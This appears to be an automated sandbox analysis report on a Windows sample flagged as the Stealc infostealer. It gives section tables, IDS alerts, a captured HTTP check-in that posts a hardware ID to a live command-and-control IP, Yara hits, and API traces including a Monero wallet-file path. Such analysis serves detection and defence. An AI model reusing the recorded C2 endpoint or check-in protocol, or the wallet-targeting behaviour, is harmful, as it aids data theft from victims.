	0x25e000	0x297000	0x200	a8c7f601a2e8d6e085283e033bd0a144	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
qlydljbc	0x4f5000	0x198000	0x197600	e82216f90cd3bbd77f82d922dec57cb4	False	0.9947369304234428	data	7.95389639217539	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
jrcyigtg	0x68d000	0x1000	0x600	f04de944a13451b19ca4a872c2318595	False	0.5911458333333334	data	5.048761108302702	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x68e000	0x3000	0x2200	1fd64fe177bcfc63c8f210f4d2ed84d9	False	0.07559742647058823	DOS executable (COM)	0.9277131372678648	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-11T01:49:59.923701+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 11, 2024 01:49:58.957098961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 11, 2024 01:49:58.962292910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 11, 2024 01:49:58.962380886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 11, 2024 01:49:58.962579966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 11, 2024 01:49:58.967437983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 11, 2024 01:49:59.687046051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 11, 2024 01:49:59.687289953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 11, 2024 01:49:59.689609051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 11, 2024 01:49:59.694489002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 11, 2024 01:49:59.923507929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 11, 2024 01:49:59.923701048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 11, 2024 01:50:02.624416113 CEST	49730	80	192.168.2.4	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.37	80	2004	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 11, 2024 01:49:58.962579966 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 11, 2024 01:49:59.687046051 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 23:49:59 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 11, 2024 01:49:59.689609051 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDGHJEHJJDAAAKEBGCFC Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 34 35 46 41 42 43 33 31 35 31 30 34 30 38 31 39 30 37 36 37 32 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 43 2d 2d 0d 0a Data Ascii: ------GDGHJEHJJDAAAKEBGCFCContent-Disposition: form-data; name="hwid"F45FABC315104081907672------GDGHJEHJJDAAAKEBGCFCContent-Disposition: form-data; name="build"doma------GDGHJEHJJDAAAKEBGCFC--
Oct 11, 2024 01:49:59.923507929 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 23:49:59 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	19:49:55
Start date:	10/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xcb0000
File size:	1'825'280 bytes
MD5 hash:	9C7193E94B13D7380DCCC18B19A95158
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1664387616.0000000005670000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1706114024.000000000187E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	8.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.1%
Total number of Nodes:	2000
Total number of Limit Nodes:	24

Executed Functions

Function 00CC9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,01892200), ref: 00CC98A1
GetProcAddress.KERNEL32(74DD0000,01892380), ref: 00CC98BA
GetProcAddress.KERNEL32(74DD0000,01892098), ref: 00CC98D2
GetProcAddress.KERNEL32(74DD0000,01892188), ref: 00CC98EA
GetProcAddress.KERNEL32(74DD0000,01892218), ref: 00CC9903
GetProcAddress.KERNEL32(74DD0000,018999C0), ref: 00CC991B
GetProcAddress.KERNEL32(74DD0000,018853F0), ref: 00CC9933
GetProcAddress.KERNEL32(74DD0000,018852B0), ref: 00CC994C
GetProcAddress.KERNEL32(74DD0000,018922F0), ref: 00CC9964
GetProcAddress.KERNEL32(74DD0000,01892308), ref: 00CC997C
GetProcAddress.KERNEL32(74DD0000,01892158), ref: 00CC9995
GetProcAddress.KERNEL32(74DD0000,01892320), ref: 00CC99AD
GetProcAddress.KERNEL32(74DD0000,018855B0), ref: 00CC99C5
GetProcAddress.KERNEL32(74DD0000,01892230), ref: 00CC99DE
GetProcAddress.KERNEL32(74DD0000,01892338), ref: 00CC99F6
GetProcAddress.KERNEL32(74DD0000,018854B0), ref: 00CC9A0E
GetProcAddress.KERNEL32(74DD0000,018920B0), ref: 00CC9A27
GetProcAddress.KERNEL32(74DD0000,018920C8), ref: 00CC9A3F
GetProcAddress.KERNEL32(74DD0000,01885390), ref: 00CC9A57
GetProcAddress.KERNEL32(74DD0000,018920E0), ref: 00CC9A70
GetProcAddress.KERNEL32(74DD0000,018854F0), ref: 00CC9A88
LoadLibraryA.KERNEL32(01892398,?,00CC6A00), ref: 00CC9A9A
LoadLibraryA.KERNEL32(018923B0,?,00CC6A00), ref: 00CC9AAB
LoadLibraryA.KERNEL32(018923F8,?,00CC6A00), ref: 00CC9ABD
LoadLibraryA.KERNEL32(01892428,?,00CC6A00), ref: 00CC9ACF
LoadLibraryA.KERNEL32(018923C8,?,00CC6A00), ref: 00CC9AE0
GetProcAddress.KERNEL32(75A70000,01892440), ref: 00CC9B02
GetProcAddress.KERNEL32(75290000,01892410), ref: 00CC9B23
GetProcAddress.KERNEL32(75290000,01892458), ref: 00CC9B3B
GetProcAddress.KERNEL32(75BD0000,018923E0), ref: 00CC9B5D
GetProcAddress.KERNEL32(75450000,018853B0), ref: 00CC9B7E
GetProcAddress.KERNEL32(76E90000,01899B60), ref: 00CC9B9F
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 00CC9BB6

Strings

NtQueryInformationProcess, xrefs: 00CC9BAA

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: d24d9dea38025bd7b1873b7ac6dda70bf704a27004f45f7d68400a0f94151dd3
Instruction ID: d668cbe4d6a0208e0ebc91339732becdd559321a65aa26f6a4398890839499b5
Opcode Fuzzy Hash: d24d9dea38025bd7b1873b7ac6dda70bf704a27004f45f7d68400a0f94151dd3
Instruction Fuzzy Hash: 76A16DF55002419FD348EFABED88D7637F9E7C834170C853AA60DEB2A4D679A449CB12

Function 00CB45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 00CB460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 00CB479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CB4765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CB4734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CB462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CB46C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CB46B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CB471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CB4729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CB46CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CB45D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CB4622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CB473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CB4713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CB45F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CB475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CB4678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CB45E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CB4683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CB477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CB466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CB4657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CB4638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CB474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CB4617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CB4643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CB45DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CB46D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CB45C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CB46AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CB4770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CB4662

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 1e8416cec426005843d92b5f64df3203126f94e07a6bd91b6f2e96da12e39c55
Instruction ID: 166ff739335318efe0360bd189cd1763d9c0b7f70e5e0527b3bcbb2c644ce4d7
Opcode Fuzzy Hash: 1e8416cec426005843d92b5f64df3203126f94e07a6bd91b6f2e96da12e39c55
Instruction Fuzzy Hash: 9041BD607CA704EBA67AB7AC9CCEB9D77565F87701FD07866AE44923C0CEB069004627

Function 00CB4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00CCA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00CCA7E6

Part of subcall function 00CB47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00CB4839
Part of subcall function 00CB47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00CB4849

Part of subcall function 00CCA740: lstrcpy.KERNEL32(00CD0E17,00000000), ref: 00CCA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00CB4915
StrCmpCA.SHLWAPI(?,0189E6F8), ref: 00CB493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00CB4ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00CD0DDB,00000000,?,?,00000000,?,",00000000,?,0189E748), ref: 00CB4DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00CB4E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00CB4E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00CB4E49
InternetCloseHandle.WININET(00000000), ref: 00CB4EAD
InternetCloseHandle.WININET(00000000), ref: 00CB4EC5
HttpOpenRequestA.WININET(00000000,0189E668,?,0189DEC8,00000000,00000000,00400100,00000000), ref: 00CB4B15

Part of subcall function 00CCA9B0: lstrlen.KERNEL32(?,01899C80,?,\Monero\wallet.keys,00CD0E17), ref: 00CCA9C5
Part of subcall function 00CCA9B0: lstrcpy.KERNEL32(00000000), ref: 00CCAA04
Part of subcall function 00CCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00CCAA12

Part of subcall function 00CCA8A0: lstrcpy.KERNEL32(?,00CD0E17), ref: 00CCA905

Part of subcall function 00CCA920: lstrcpy.KERNEL32(00000000,?), ref: 00CCA972
Part of subcall function 00CCA920: lstrcat.KERNEL32(00000000), ref: 00CCA982

InternetCloseHandle.WININET(00000000), ref: 00CB4ECF

Strings

------, xrefs: 00CB4B28
", xrefs: 00CB4D33
", xrefs: 00CB4BF2
------, xrefs: 00CB4C69
------, xrefs: 00CB49BD

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: 5a4d35278add8402a864906efe28a8f33891583995a83e92d945afdcafab7ff3
Instruction ID: 064c677ab7b29d8e1c5a8f615260acce56963d1c18873f752613d3b9fed8f54a
Opcode Fuzzy Hash: 5a4d35278add8402a864906efe28a8f33891583995a83e92d945afdcafab7ff3
Instruction Fuzzy Hash: DF12C77191021CABDB15EB90DC9AFEEB378AF54304F5041ADF10666091EF702F8ADB66

Function 00CC78E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00CC7910
RtlAllocateHeap.NTDLL(00000000), ref: 00CC7917
GetComputerNameA.KERNEL32(?,00000104), ref: 00CC792F

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: edabedfb595271058d6fbec073ad4812d6ff9f71abc00a6b85f4e1746c312853
Instruction ID: 8a7f1d90f612437ad61073a05029a855f81dd8bb67b1ee1230a12a74b6df73d9
Opcode Fuzzy Hash: edabedfb595271058d6fbec073ad4812d6ff9f71abc00a6b85f4e1746c312853
Instruction Fuzzy Hash: 130162B1904244EFC704DF99DD49FAABBB8F744B61F10426AE649A7280C37459048BA2

Function 00CC7850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00CB11B7), ref: 00CC7880
RtlAllocateHeap.NTDLL(00000000), ref: 00CC7887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 00CC789F

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
